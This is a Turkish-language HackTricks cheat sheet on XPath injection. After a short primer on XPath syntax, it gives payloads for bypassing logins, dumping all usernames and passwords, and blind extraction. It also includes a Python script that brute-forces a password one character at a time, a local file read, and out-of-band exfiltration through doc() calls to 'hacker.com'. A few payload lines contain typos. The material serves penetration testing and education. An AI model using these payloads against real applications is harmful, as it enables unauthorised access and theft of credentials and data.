hacktricks/pentesting-web/xpath-injection.md

14 KiB
Raw Blame History

XPATH enjeksiyonu

AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri
Hacking'in heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin

Gerçek Zamanlı Hack Haberleri
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın

En Son Duyurular
Başlatılan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi sahibi olun

Bize katılın Discord ve bugün en iyi hackerlarla işbirliğine başlayın!

Temel Sözdizimi

XPath Enjeksiyonu olarak bilinen bir saldırı tekniği, XPath (XML Yol Dili) sorgularını kullanıcı girdilerine dayalı olarak oluşturan uygulamalardan faydalanmak için kullanılır.

Tanımlanan Düğümler

XML belgesinde çeşitli düğümleri seçmek için ifadeler kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:

  • nodename: "nodename" adındaki tüm düğümler seçilir.
  • /: Seçim kök düğümden yapılır.
  • //: Mevcut düğümdeki seçime uyan düğümler seçilir, belgedeki konumlarına bakılmaksızın.
  • .: Mevcut düğüm seçilir.
  • ..: Mevcut düğümün üst düğümü seçilir.
  • @: Öznitelikler seçilir.

XPath Örnekleri

Yol ifadeleri ve sonuçlarına ilişkin örnekler şunları içerir:

  • bookstore: "bookstore" adındaki tüm düğümler seçilir.
  • /bookstore: Kök element bookstore seçilir. Bir öğenin mutlak yolunu temsil eden bir yol, bir eğri ile başlayan bir yol ile temsil edilir (/).
  • bookstore/book: bookstore'un alt öğeleri olan tüm kitap öğeleri seçilir.
  • //book: Belgedeki tüm kitap öğeleri seçilir, konumlarına bakılmaksızın.
  • bookstore//book: bookstore öğesinin altında bulunan konumlarına bakılmaksızın tüm kitap öğeleri seçilir.
  • //@lang: lang adında tüm öznitelikler seçilir.

Predicat'lerin Kullanımı

Seçimleri daraltmak için Predicat'ler kullanılır:

  • /bookstore/book[1]: bookstore öğesinin ilk kitap öğesi seçilir. IE sürümleri 5 ila 9 için bir çözüm, ilk düğümü [0] olarak dizinleyen, SelectionLanguage'ın JavaScript aracılığıyla XPath olarak ayarlanmasıdır.
  • /bookstore/book[last()]: bookstore öğesinin son kitap öğesi seçilir.
  • /bookstore/book[last()-1]: bookstore öğesinin sondan bir önceki kitap öğesi seçilir.
  • /bookstore/book[position()<3]: bookstore öğesinin ilk iki kitap öğesi seçilir.
  • //title[@lang]: lang özniteliğine sahip tüm başlık öğeleri seçilir.
  • //title[@lang='en']: "lang" özniteliği değeri "en" olan tüm başlık öğeleri seçilir.
  • /bookstore/book[price>35.00]: 35.00'den büyük bir fiyatı olan bookstore'un tüm kitap öğeleri seçilir.
  • /bookstore/book[price>35.00]/title: 35.00'den büyük bir fiyatı olan bookstore'un kitap öğelerinin tüm başlık öğeleri seçilir.

Bilinmeyen Düğümlerin İşlenmesi

Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:

  • *: Herhangi bir öğe düğümüyle eşleşir.
  • @*: Herhangi bir öznitelik düğümüyle eşleşir.
  • node(): Herhangi bir türdeki herhangi bir düğümle eşleşir.

Diğer örnekler şunları içerir:

  • /bookstore/*: bookstore öğesinin tüm alt öğe düğümleri seçilir.
  • //*: Belgedeki tüm öğeler seçilir.
  • //title[@*]: Herhangi bir türde en az bir özniteliğe sahip tüm başlık öğeleri seçilir.

Örnek

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Bilgiye Erişim

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Şema Tanımlama ve Çalma

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Kimlik Doğrulaması Atlatma

Sorguların Örneği:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Kullanıcı adı ve şifrede OR atlatma (her ikisi de aynı değerde)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Null enjeksiyonunu kötüye kullanma

Username: ' or 1]%00

Kullanıcı adında veya şifrede Çift VEYA (yalnızca 1 zayıf alanla geçerlidir)

ÖNEMLİ: "ve" işleminin ilk olarak yapıldığına dikkat edin.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Dize çıkarma

Çıktı dizeler içerir ve kullanıcı değerleri aramak için manipüle edebilir:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Kör Saldırı

Bir değerin uzunluğunu alın ve karşılaştırmalarla çıkarın:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Örneği

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Dosya okuma

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Sömürüsü

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Otomatik araç

Referanslar

HackenProof Discord sunucusuna katılın ve deneyimli hackerlar ve ödül avcıları ile iletişim kurun!

Hacking İçgörüleri
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin

Gerçek Zamanlı Hack Haberleri
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin

En Son Duyurular
Yeni ödül avcılığı başlatmaları ve önemli platform güncellemeleri hakkında bilgi edinin

Bize Discord katılın ve bugün en iyi hackerlarla işbirliğine başlayın!

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: